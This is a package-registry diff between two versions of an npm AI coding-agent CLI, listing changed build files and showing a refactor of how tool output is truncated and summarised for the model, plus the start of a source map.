@letrquan/book 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (157) hide show
  1. package/CHANGELOG.md +2747 -40
  2. package/README.md +132 -1311
  3. package/dist/additional-roots-H7UNAEHS.js +31 -0
  4. package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
  5. package/dist/app-GE4OHJOC.js.map +1 -0
  6. package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
  7. package/dist/chunk-224FJZLH.js.map +1 -0
  8. package/dist/chunk-2AAOF5B5.js +28 -0
  9. package/dist/chunk-2AAOF5B5.js.map +1 -0
  10. package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
  11. package/dist/chunk-4AS7LKKQ.js.map +1 -0
  12. package/dist/chunk-525CAZPY.js +120 -0
  13. package/dist/chunk-525CAZPY.js.map +1 -0
  14. package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
  15. package/dist/chunk-56SIEMDX.js.map +1 -0
  16. package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
  17. package/dist/chunk-5YHTKWJN.js.map +1 -0
  18. package/dist/chunk-62QL5QUP.js +283 -0
  19. package/dist/chunk-62QL5QUP.js.map +1 -0
  20. package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
  21. package/dist/chunk-67UZEWWF.js.map +1 -0
  22. package/dist/chunk-6OQQOMZR.js +785 -0
  23. package/dist/chunk-6OQQOMZR.js.map +1 -0
  24. package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
  25. package/dist/chunk-AQEQX4FF.js.map +1 -0
  26. package/dist/chunk-C7ADUNPR.js +273 -0
  27. package/dist/chunk-C7ADUNPR.js.map +1 -0
  28. package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
  29. package/dist/chunk-EFJ2NH6E.js.map +1 -0
  30. package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
  31. package/dist/chunk-HQI7NYGX.js.map +1 -0
  32. package/dist/chunk-IME7R2UI.js +6541 -0
  33. package/dist/chunk-IME7R2UI.js.map +1 -0
  34. package/dist/chunk-J4F2QLM2.js +273 -0
  35. package/dist/chunk-J4F2QLM2.js.map +1 -0
  36. package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
  37. package/dist/chunk-J62VZYOB.js.map +1 -0
  38. package/dist/chunk-JTPOI3KU.js +826 -0
  39. package/dist/chunk-JTPOI3KU.js.map +1 -0
  40. package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
  41. package/dist/chunk-KBQS35OV.js.map +1 -0
  42. package/dist/chunk-KXAYUIKP.js +90 -0
  43. package/dist/chunk-KXAYUIKP.js.map +1 -0
  44. package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
  45. package/dist/chunk-QYBD22H5.js.map +1 -0
  46. package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
  47. package/dist/chunk-RFJ6Q6LE.js.map +1 -0
  48. package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
  49. package/dist/chunk-RT5SATF7.js.map +1 -0
  50. package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
  51. package/dist/chunk-S4JMID4G.js.map +1 -0
  52. package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
  53. package/dist/chunk-SOW4WRQP.js.map +1 -0
  54. package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
  55. package/dist/chunk-TLX3H2CL.js.map +1 -0
  56. package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
  57. package/dist/chunk-VPNLCMVR.js.map +1 -0
  58. package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
  59. package/dist/chunk-W3XFHEF4.js.map +1 -0
  60. package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
  61. package/dist/chunk-X4NJT436.js.map +1 -0
  62. package/dist/chunk-X66I2NQO.js +137 -0
  63. package/dist/chunk-X66I2NQO.js.map +1 -0
  64. package/dist/chunk-XHAO3K7I.js +18 -0
  65. package/dist/chunk-XHAO3K7I.js.map +1 -0
  66. package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
  67. package/dist/chunk-Y2VHN7TC.js.map +1 -0
  68. package/dist/chunk-YC6W4EJH.js +947 -0
  69. package/dist/chunk-YC6W4EJH.js.map +1 -0
  70. package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
  71. package/dist/chunk-ZPSZZUWF.js.map +1 -0
  72. package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
  73. package/dist/context-CBOBDY5Q.js +38 -0
  74. package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
  75. package/dist/index.js +996 -155
  76. package/dist/index.js.map +1 -1
  77. package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
  78. package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
  79. package/dist/job-runner.js +159 -111
  80. package/dist/job-runner.js.map +1 -1
  81. package/dist/job-supervisor.d.ts +2 -0
  82. package/dist/job-supervisor.js +112 -0
  83. package/dist/job-supervisor.js.map +1 -0
  84. package/dist/loader-S77OVTHH.js +18 -0
  85. package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
  86. package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
  87. package/dist/memory-store-DZUT5HUH.js +75 -0
  88. package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
  89. package/dist/openai-compatible-2OB54YST.js +14 -0
  90. package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
  91. package/dist/permissions-DHOKF3W2.js +45 -0
  92. package/dist/sandbox-WRYTZH3D.js +41 -0
  93. package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
  94. package/dist/scrollback-35ME2GFX.js.map +1 -0
  95. package/dist/sdk.d.ts +2219 -2361
  96. package/dist/sdk.js +53 -38
  97. package/dist/sdk.js.map +1 -1
  98. package/dist/settings-loader-JUNPGAAM.js +35 -0
  99. package/dist/settings-loader-JUNPGAAM.js.map +1 -0
  100. package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
  101. package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
  102. package/package.json +23 -22
  103. package/dist/app-MOXXWEOY.js.map +0 -1
  104. package/dist/chunk-24AXE6SP.js.map +0 -1
  105. package/dist/chunk-3U5IBM24.js.map +0 -1
  106. package/dist/chunk-574C6MQR.js.map +0 -1
  107. package/dist/chunk-5GDZ22YP.js.map +0 -1
  108. package/dist/chunk-5KLVH3PY.js.map +0 -1
  109. package/dist/chunk-7N4J557C.js.map +0 -1
  110. package/dist/chunk-A7JLBK2Y.js +0 -3506
  111. package/dist/chunk-A7JLBK2Y.js.map +0 -1
  112. package/dist/chunk-ANSJPYGI.js.map +0 -1
  113. package/dist/chunk-BTZZUCLI.js.map +0 -1
  114. package/dist/chunk-C7D4NJ2D.js.map +0 -1
  115. package/dist/chunk-CAGOB2N4.js.map +0 -1
  116. package/dist/chunk-DGMQEI6Y.js.map +0 -1
  117. package/dist/chunk-E75IPST5.js.map +0 -1
  118. package/dist/chunk-EYGD6X2T.js +0 -180
  119. package/dist/chunk-EYGD6X2T.js.map +0 -1
  120. package/dist/chunk-GTVB4HEM.js.map +0 -1
  121. package/dist/chunk-J7MIZ5CA.js.map +0 -1
  122. package/dist/chunk-KWHQ2XXL.js.map +0 -1
  123. package/dist/chunk-L6LK2QIQ.js +0 -657
  124. package/dist/chunk-L6LK2QIQ.js.map +0 -1
  125. package/dist/chunk-MAQXCUR4.js.map +0 -1
  126. package/dist/chunk-S4XL7HOM.js +0 -402
  127. package/dist/chunk-S4XL7HOM.js.map +0 -1
  128. package/dist/chunk-URLQAXTR.js.map +0 -1
  129. package/dist/chunk-V4BOYR52.js.map +0 -1
  130. package/dist/chunk-VZQXX3WW.js.map +0 -1
  131. package/dist/chunk-WKBO5R4O.js.map +0 -1
  132. package/dist/chunk-XIFFTATU.js.map +0 -1
  133. package/dist/context-ZC5IFEAX.js +0 -25
  134. package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
  135. package/dist/loader-4IDS2RIE.js +0 -15
  136. package/dist/openai-compatible-RHZUBHV6.js +0 -10
  137. package/dist/permissions-CHCKTFQQ.js +0 -28
  138. package/dist/sandbox-CNVAQDA7.js +0 -23
  139. package/dist/scrollback-LUKLIBVI.js.map +0 -1
  140. package/dist/settings-loader-M2QP5TX2.js +0 -21
  141. package/patches/ink+6.8.0.patch +0 -13
  142. package/scripts/apply-ink-patch.mjs +0 -29
  143. package/scripts/ink-patch.mjs +0 -59
  144. package/scripts/verify-ink-patch.mjs +0 -11
  145. /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
  146. /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
  147. /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
  148. /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
  149. /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
  150. /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
  151. /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
  152. /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
  153. /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
  154. /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
  155. /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
  156. /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
  157. /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
@@ -1,6 +1,6 @@
1
1
  import {
2
2
  resolveBookHome
3
- } from "./chunk-24AXE6SP.js";
3
+ } from "./chunk-ZPSZZUWF.js";
4
4
 
5
5
  // src/tools/aliases.ts
6
6
  var TOOL_ALIASES = {
@@ -73,6 +73,7 @@ function isFileMutatingTool(canonicalName) {
73
73
 
74
74
  // src/tools/result.ts
75
75
  var TOOL_RESULT_MAX_BYTES = 50 * 1024;
76
+ var READ_EMPTY_FILE_NOTICE = "[Empty file: 0 lines.]";
76
77
  var TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), "tool-output");
77
78
  function presentationFor(content, override) {
78
79
  return {
@@ -128,7 +129,9 @@ function toolResultErrorMessage(result) {
128
129
  }
129
130
  function rawToolResultModelContent(result) {
130
131
  const content = result.content;
131
- if (toolResultSucceeded(result)) return content;
132
+ if (toolResultSucceeded(result)) {
133
+ return content.trim().length === 0 ? "(no output)" : content;
134
+ }
132
135
  const remediation = result.structuredError?.remediation;
133
136
  const fix = remediation ? `
134
137
  Fix: ${remediation}` : "";
@@ -137,15 +140,18 @@ ${content}` : "";
137
140
  return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? "tool failed"}${fix}${detail}`;
138
141
  }
139
142
  function toolResultModelContent(result) {
143
+ if (result.maskedPlaceholder !== void 0) return result.maskedPlaceholder;
140
144
  const raw = rawToolResultModelContent(result);
141
145
  if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;
142
- if (result.status === "timed_out") {
143
- return tailPreview(
144
- rawToolResultModelContent({ ...result, content: "" }),
145
- result.content,
146
- result.artifacts?.outputPath,
147
- TOOL_RESULT_MAX_BYTES
146
+ if (!toolResultSucceeded(result)) {
147
+ const prefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;
148
+ const fix = result.structuredError?.remediation ? `
149
+ Fix: ${result.structuredError.remediation}` : "";
150
+ const budget = Math.max(
151
+ 1,
152
+ TOOL_RESULT_MAX_BYTES - Buffer.byteLength(prefix) - Buffer.byteLength(fix)
148
153
  );
154
+ return `${prefix}${headTailPreview(failureText(result), result.artifacts?.outputPath, budget)}${fix}`;
149
155
  }
150
156
  return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);
151
157
  }
@@ -163,18 +169,30 @@ function utf8Suffix(text, maxBytes) {
163
169
  while (start < bytes.byteLength && (bytes[start] & 192) === 128) start++;
164
170
  return bytes.subarray(start).toString("utf8");
165
171
  }
166
- function tailPreview(head, content, outputPath, maxBytes) {
167
- const notice = outputPath ? `
168
- [Earlier output truncated at ${maxBytes} bytes. Full output: ${outputPath}]
169
- ` : `
170
- [Earlier output truncated at ${maxBytes} bytes. Full output unavailable.]
171
- `;
172
- const noticeBytes = Buffer.byteLength(notice);
173
- if (Buffer.byteLength(head) + noticeBytes >= maxBytes) {
174
- return `${utf8Prefix(head, Math.max(0, maxBytes - noticeBytes)).trimEnd()}${notice}`;
175
- }
176
- const budget = maxBytes - Buffer.byteLength(head) - noticeBytes;
177
- return `${head}${notice}${utf8Suffix(content, budget).trimStart()}`;
172
+ var FAILURE_HEAD_MAX_BYTES = 8 * 1024;
173
+ function failureText(result) {
174
+ const message = toolResultErrorMessage(result) ?? "tool failed";
175
+ return result.content ? `${message}
176
+ ${result.content}` : message;
177
+ }
178
+ function headTailPreview(text, outputPath, maxBytes) {
179
+ const totalBytes = Buffer.byteLength(text);
180
+ const headWindow = Math.min(FAILURE_HEAD_MAX_BYTES, Math.floor(maxBytes * 0.2));
181
+ const window = utf8Prefix(text, headWindow);
182
+ if (Buffer.byteLength(window) >= totalBytes) return text;
183
+ const lastBreak = window.lastIndexOf("\n");
184
+ const head = lastBreak >= 0 ? window.slice(0, lastBreak + 1) : window;
185
+ const headShown = head.trimEnd();
186
+ const headBytes = Buffer.byteLength(headShown);
187
+ const omittedNotice = (omitted) => outputPath ? `[... ${omitted} bytes omitted. Full output: ${outputPath}]` : `[... ${omitted} bytes omitted. Full output unavailable.]`;
188
+ const reserve = Buffer.byteLength(omittedNotice(totalBytes)) + 2;
189
+ const tailRoom = maxBytes - headBytes - reserve;
190
+ if (tailRoom <= 0) return [headShown, omittedNotice(totalBytes - headBytes)].join("\n");
191
+ const tailWindow = utf8Suffix(text, tailRoom);
192
+ const breakAt = tailWindow.indexOf("\n");
193
+ const tail = breakAt >= 0 ? tailWindow.slice(breakAt + 1) : tailWindow;
194
+ const notice = omittedNotice(totalBytes - headBytes - Buffer.byteLength(tail));
195
+ return [headShown, notice, tail].join("\n");
178
196
  }
179
197
  function clippedOutputPreview(content, outputPath, maxBytes) {
180
198
  const notice = outputPath ? `
@@ -210,25 +228,21 @@ async function boundToolResultOutput(input, _workspaceRoot, maxBytes = TOOL_RESU
210
228
  const modelOverflow = modelContentBytes > maxBytes;
211
229
  const content = toolResultSucceeded(result) ? contentBytes > maxBytes ? clippedOutputPreview(result.content, outputPath, maxBytes) : result.content : modelOverflow ? "" : result.content;
212
230
  const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;
213
- const errorSource = `${toolResultErrorMessage(result) ?? "tool failed"}${result.content ? `
214
- ${result.content}` : ""}`;
215
231
  const fixReserve = result.structuredError?.remediation ? Buffer.byteLength(`
216
232
  Fix: ${result.structuredError.remediation}`) : 0;
217
233
  const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);
218
234
  const structuredError = result.structuredError ? {
219
235
  ...result.structuredError,
220
- message: modelOverflow ? (
221
- // A killed command's output is folded into the message here, so this
222
- // is the clip that decides what the model reads. Keeping the head
223
- // hands back install and compile noise and drops the step the
224
- // command died on, which is the whole point of the report.
225
- result.status === "timed_out" ? tailPreview(result.structuredError.message, result.content, outputPath, errorBudget) : clippedOutputPreview(errorSource, outputPath, errorBudget)
226
- ) : result.structuredError.message
236
+ // The message and the output are clipped as one text, so a failure
237
+ // keeps both ends: the error line and any framing at the top, and the
238
+ // verdict at the bottom. The room the `Fix:` line needs is reserved
239
+ // above, so the remediation is never what gets clipped.
240
+ message: modelOverflow ? headTailPreview(failureText(result), outputPath, errorBudget) : result.structuredError.message
227
241
  } : result.structuredError;
228
242
  const clippedDetails = details ? detailsBytes > maxBytes ? (
229
- // The transcript row reads the same way the model does: for a killed
230
- // command that means the tail it died on, not the head it started with.
231
- result.status === "timed_out" ? tailPreview("", details, outputPath, maxBytes) : clippedOutputPreview(details, outputPath, maxBytes)
243
+ // The transcript row reads the same way the model does: a failure's
244
+ // head and tail, not one end of it — the same reason as above.
245
+ toolResultSucceeded(result) ? clippedOutputPreview(details, outputPath, maxBytes) : headTailPreview(details, outputPath, maxBytes)
232
246
  ) : details : toolResultSucceeded(result) ? content : structuredError?.message;
233
247
  return {
234
248
  ...result,
@@ -253,6 +267,10 @@ function replaceToolResult(result, patch) {
253
267
  ...result,
254
268
  status,
255
269
  content,
270
+ // New content replaces what the model read: a placeholder standing in for
271
+ // the previous text would hide the rewrite (a PostToolUse hook's
272
+ // `modifiedOutput`, the plan-approval note) behind the line the tool wrote.
273
+ ...patch.content !== void 0 ? { maskedPlaceholder: void 0 } : {},
256
274
  structuredError: patch.error ?? (status === "success" ? void 0 : result.structuredError),
257
275
  presentation: result.presentation || patch.presentation ? presentationFor(content, {
258
276
  ...result.presentation,
@@ -285,6 +303,9 @@ function normalizeToolResult(result) {
285
303
  toolCallId: result.toolCallId,
286
304
  status,
287
305
  content,
306
+ // Masking's placeholder survives a resume, or a restored compaction's tail
307
+ // would come back at full size.
308
+ ..."maskedPlaceholder" in result && result.maskedPlaceholder !== void 0 ? { maskedPlaceholder: result.maskedPlaceholder } : {},
288
309
  data: result.data,
289
310
  structuredError: error,
290
311
  presentation: result.presentation,
@@ -296,6 +317,37 @@ function normalizeToolResult(result) {
296
317
  function nonEmptyLines(content) {
297
318
  return content.split("\n").filter((line) => line.trim()).length;
298
319
  }
320
+ function readLineMetadata(start, count) {
321
+ const first = Math.max(1, Math.floor(start));
322
+ const lines = Math.max(0, Math.floor(count));
323
+ if (lines <= 0) return ["empty"];
324
+ const size = lines === 1 ? "1 line" : `${lines} lines`;
325
+ return first > 1 ? [size, `${first}-${first + lines - 1}`] : [size];
326
+ }
327
+ function readResultMetadata(args, content) {
328
+ if (args.outline === true) {
329
+ const entries = content.split("\n").filter((line) => /^\d+: /.test(line)).length;
330
+ return ["outline", entries === 1 ? "1 entry" : `${entries} entries`];
331
+ }
332
+ let body = content === READ_EMPTY_FILE_NOTICE ? "" : content.replace(/\n\[Lines? \d[^\n]*\]$/, "");
333
+ if (body === content) body = body.replace(/(?:^|\n)\d+: $/, "");
334
+ const lineCount = body ? body.split("\n").length : 0;
335
+ const offset = Number(args.offset ?? 0);
336
+ const start = Number.isFinite(offset) && offset > 0 ? Math.floor(offset) : 1;
337
+ return readLineMetadata(start, lineCount);
338
+ }
339
+ function grepResultMetadata(args, content) {
340
+ const noun = args.output_mode === "files_with_matches" ? "file" : "match";
341
+ if (/^No matches found$/i.test(content.trim()))
342
+ return `0 ${noun === "file" ? "files" : "matches"}`;
343
+ const lines = content.split("\n");
344
+ let count;
345
+ if (noun === "file") count = lines.filter((line) => line.trim()).length;
346
+ else if (args.output_mode === "count") {
347
+ count = lines.reduce((total, line) => total + (Number(/:(\d+)\s*$/.exec(line)?.[1]) || 0), 0);
348
+ } else count = lines.filter((line) => /:\d+:/.test(line)).length || nonEmptyLines(content);
349
+ return `${count} ${count === 1 ? noun : noun === "file" ? "files" : "matches"}`;
350
+ }
299
351
  function enrichToolResultPresentation(input, toolName, args) {
300
352
  const result = normalizeToolResult(input);
301
353
  const name = canonicalToolName(toolName);
@@ -325,8 +377,8 @@ function enrichToolResultPresentation(input, toolName, args) {
325
377
  }
326
378
  } else if (name === "Read") {
327
379
  if (inferKind) kind = "file";
328
- const lines = content ? content.split("\n").length : 0;
329
- if (inferMetadata) metadata.push(lines === 1 ? "1 line" : `${lines} lines`);
380
+ if (inferMetadata && result.status === "success")
381
+ metadata.push(...readResultMetadata(args, content));
330
382
  if (inferSummary) summary = target ? `Read ${target}` : summary;
331
383
  } else if (name === "Glob") {
332
384
  if (inferKind) kind = "search";
@@ -335,9 +387,11 @@ function enrichToolResultPresentation(input, toolName, args) {
335
387
  if (inferSummary) summary = `Found ${count} ${count === 1 ? "file" : "files"}`;
336
388
  } else if (name === "Grep") {
337
389
  if (inferKind) kind = "search";
338
- const count = /^No matches found$/i.test(content.trim()) ? 0 : content.split("\n").filter((line) => /:\d+:/.test(line)).length || nonEmptyLines(content);
339
- if (inferMetadata) metadata.push(`${count} ${count === 1 ? "match" : "matches"}`);
340
- if (inferSummary) summary = `Found ${count} ${count === 1 ? "match" : "matches"}`;
390
+ if (result.status === "success") {
391
+ const label = grepResultMetadata(args, content);
392
+ if (inferMetadata) metadata.push(label);
393
+ if (inferSummary) summary = `Found ${label}`;
394
+ }
341
395
  } else if (name === "Bash" || name === "BashOutput" || name === "KillShell") {
342
396
  if (inferKind) kind = "command";
343
397
  if (inferSummary) summary = target ? `${name}: ${target}` : summary;
@@ -362,88 +416,25 @@ function enrichToolResultPresentation(input, toolName, args) {
362
416
  };
363
417
  }
364
418
 
365
- // src/tools/file-provenance.ts
366
- import { createHash } from "crypto";
367
- import { readFile, stat } from "fs/promises";
368
- import { normalize, relative, resolve } from "path";
369
- function workspaceIdentity(workspaceRoot) {
370
- const root = normalize(resolve(workspaceRoot));
371
- const stable = process.platform === "win32" ? root.toLowerCase() : root;
372
- return createHash("sha256").update(stable).digest("hex").slice(0, 24);
373
- }
374
- function observationKey(workspaceId, path) {
375
- const normalized = path.replace(/\\/g, "/");
376
- return `${workspaceId}:${process.platform === "win32" ? normalized.toLowerCase() : normalized}`;
377
- }
378
- async function observeFile(ctx, absolutePath, operation, coverage) {
379
- const bytes = await readFile(absolutePath);
380
- const workspaceId = workspaceIdentity(ctx.workspaceRoot);
381
- const path = relative(resolve(ctx.workspaceRoot), absolutePath).replace(/\\/g, "/");
382
- const observation = {
383
- path,
384
- workspaceId,
385
- sha256: createHash("sha256").update(bytes).digest("hex"),
386
- byteSize: bytes.byteLength,
387
- lineStart: coverage?.lineStart,
388
- lineEnd: coverage?.lineEnd,
389
- operation,
390
- sourceRef: ctx.currentToolTraceId ?? "runtime-tool",
391
- timestamp: Date.now()
392
- };
393
- ctx.fileObservationLedger?.set(observationKey(workspaceId, path), observation);
394
- return observation;
395
- }
396
- async function requireFreshObservation(ctx, absolutePath, relativePath) {
397
- const workspaceId = workspaceIdentity(ctx.workspaceRoot);
398
- const normalizedPath = relativePath.replace(/\\/g, "/");
399
- const remembered = ctx.fileObservationLedger?.get(observationKey(workspaceId, normalizedPath));
400
- if (!remembered) return void 0;
401
- try {
402
- const info = await stat(absolutePath);
403
- if (!info.isFile()) return staleMessage(normalizedPath);
404
- const bytes = await readFile(absolutePath);
405
- const currentHash = createHash("sha256").update(bytes).digest("hex");
406
- return currentHash === remembered.sha256 ? void 0 : staleMessage(normalizedPath);
407
- } catch {
408
- return staleMessage(normalizedPath);
409
- }
410
- }
411
- function staleMessage(path) {
412
- return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;
413
- }
414
- function requireObservationForMutation(ctx, relativePath, retryVerb) {
415
- const ledger = ctx.fileObservationLedger;
416
- if (!ledger) return void 0;
417
- const workspaceId = workspaceIdentity(ctx.workspaceRoot);
418
- const normalizedPath = relativePath.replace(/\\/g, "/");
419
- if (ledger.has(observationKey(workspaceId, normalizedPath))) return void 0;
420
- return toolFailure(
421
- `SKIPPED: ${normalizedPath} has not been read in this session. Call Read (or mention the file) before modifying it.`,
422
- {
423
- code: "file_not_observed",
424
- remediation: `Read the file first, then retry the ${retryVerb}.`
425
- }
426
- );
427
- }
428
-
429
419
  export {
430
420
  TOOL_ALIASES,
431
421
  canonicalToolName,
432
422
  getPrimaryArg,
433
423
  isFileMutatingTool,
424
+ TOOL_RESULT_MAX_BYTES,
425
+ READ_EMPTY_FILE_NOTICE,
434
426
  toolSuccess,
435
427
  toolFailure,
436
428
  toolResultSucceeded,
437
429
  toolResultErrorMessage,
438
430
  toolResultModelContent,
431
+ utf8Prefix,
439
432
  boundToolResultOutput,
440
433
  replaceToolResult,
441
434
  normalizeToolResult,
442
- enrichToolResultPresentation,
443
- workspaceIdentity,
444
- observationKey,
445
- observeFile,
446
- requireFreshObservation,
447
- requireObservationForMutation
435
+ readLineMetadata,
436
+ readResultMetadata,
437
+ grepResultMetadata,
438
+ enrichToolResultPresentation
448
439
  };
449
- //# sourceMappingURL=chunk-5GDZ22YP.js.map
440
+ //# sourceMappingURL=chunk-224FJZLH.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/tools/aliases.ts","../src/tools/primary-arg.ts","../src/tools/result.ts","../src/tools/tool-capabilities.ts"],"sourcesContent":["/** Legacy tool-name aliases, resolved to their canonical PascalCase names. */\nexport const TOOL_ALIASES: Record<string, string> = {\n read_file: 'Read',\n write_file: 'Write',\n edit_file: 'Edit',\n multi_edit: 'MultiEdit',\n apply_patch: 'ApplyPatch',\n glob: 'Glob',\n glob_files: 'Glob',\n grep: 'Grep',\n bash: 'Bash',\n // Legacy snake_case git tool names — backward compatible.\n git_status: 'GitStatus',\n git_diff: 'GitDiff',\n git_log: 'GitLog',\n git_commit: 'GitCommit',\n git_branch: 'GitBranch',\n};\n\n/** Map a (possibly aliased) tool name to its canonical name for display / matching. */\nexport function canonicalToolName(name: string): string {\n return TOOL_ALIASES[name] ?? name;\n}\n","/**\n * Extract the primary argument from a tool call for display and rule matching.\n *\n * Priority order follows Claude Code's convention:\n * command → shell_id → shellId → taskId → task_id → filePath → file_path\n * → notebook_path → pattern → path → agent → skill → message → url → query → subject\n * → old_string → first string key.\n *\n * `pattern` outranks `path`: for search tools (Grep) the pattern is the\n * rule-matching identity, while `path` is only an optional scope.\n *\n * For command-type args, only the first line is returned.\n */\nexport function getPrimaryArg(args: Record<string, unknown>): string {\n if (typeof args.command === 'string') return args.command.split('\\n')[0];\n if (typeof args.shell_id === 'string') return args.shell_id;\n if (typeof args.shellId === 'string') return args.shellId;\n if (typeof args.taskId === 'string') return args.taskId;\n if (typeof args.task_id === 'string') return args.task_id;\n if (typeof args.filePath === 'string') return args.filePath;\n if (typeof args.file_path === 'string') return args.file_path;\n if (typeof args.patch === 'string') {\n const match = args.patch.match(/^\\*\\*\\* (?:Update|Add|Delete) File: (.+)$/m);\n if (match) return match[1].trim();\n }\n if (typeof args.notebook_path === 'string') return args.notebook_path;\n if (typeof args.pattern === 'string') return args.pattern;\n if (typeof args.path === 'string') return args.path;\n if (typeof args.agent === 'string') return args.agent;\n if (typeof args.skill === 'string') return args.skill;\n if (typeof args.message === 'string') return args.message;\n if (typeof args.url === 'string') return args.url;\n if (typeof args.query === 'string') return args.query;\n if (typeof args.subject === 'string') return args.subject;\n if (typeof args.old_string === 'string') return args.old_string.slice(0, 60);\n const keys = Object.keys(args);\n if (keys.length > 0) {\n const v = args[keys[0]];\n return typeof v === 'string' ? v : '';\n }\n return '';\n}\n","import { mkdir, writeFile } from 'node:fs/promises';\nimport { dirname, join } from 'node:path';\nimport type {\n ToolResult,\n ToolResultArtifacts,\n ToolResultError,\n ToolResultPresentation,\n ToolResultStatus,\n} from '../types/tools.js';\nimport { canonicalToolName } from './aliases.js';\nimport { getPrimaryArg } from './primary-arg.js';\nimport { isFileMutatingTool } from './tool-capabilities.js';\nimport { resolveBookHome } from '../book-home.js';\n\nexport const TOOL_RESULT_MAX_BYTES = 50 * 1024;\n/**\n * What `Read` returns for a file with no lines in it. It lives here because the\n * row a transcript draws for a Read is reconstructed from its text as well as\n * from Read's own metadata, and both have to agree on these words.\n */\nexport const READ_EMPTY_FILE_NOTICE = '[Empty file: 0 lines.]';\n/**\n * Where clipped tool output is saved in full. The loop lets `Read` open each file\n * it clipped a result into, never the whole directory.\n */\nconst TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), 'tool-output');\n\ninterface ToolResultOptions<TData> {\n toolCallId?: string;\n data?: TData;\n presentation?: Partial<ToolResultPresentation>;\n artifacts?: ToolResultArtifacts;\n pagination?: ToolResult['pagination'];\n}\n\ninterface LegacyToolResult {\n version?: 2;\n toolCallId: string;\n status?: ToolResultStatus;\n content?: string;\n output?: string;\n success?: boolean;\n data?: unknown;\n error?: string;\n structuredError?: ToolResultError;\n presentation?: ToolResultPresentation;\n metrics?: ToolResult['metrics'];\n artifacts?: ToolResultArtifacts;\n durationMs?: number;\n retryAttempt?: number;\n fileMutation?: ToolResultArtifacts['fileMutation'];\n fileMutations?: ToolResultArtifacts['fileMutations'];\n fileObservations?: ToolResultArtifacts['fileObservations'];\n eventRef?: string;\n outputPath?: string;\n pagination?: ToolResult['pagination'];\n}\n\nfunction presentationFor(\n content: string,\n override?: Partial<ToolResultPresentation>,\n): ToolResultPresentation {\n return {\n kind: override?.kind ?? 'text',\n summary: override?.summary 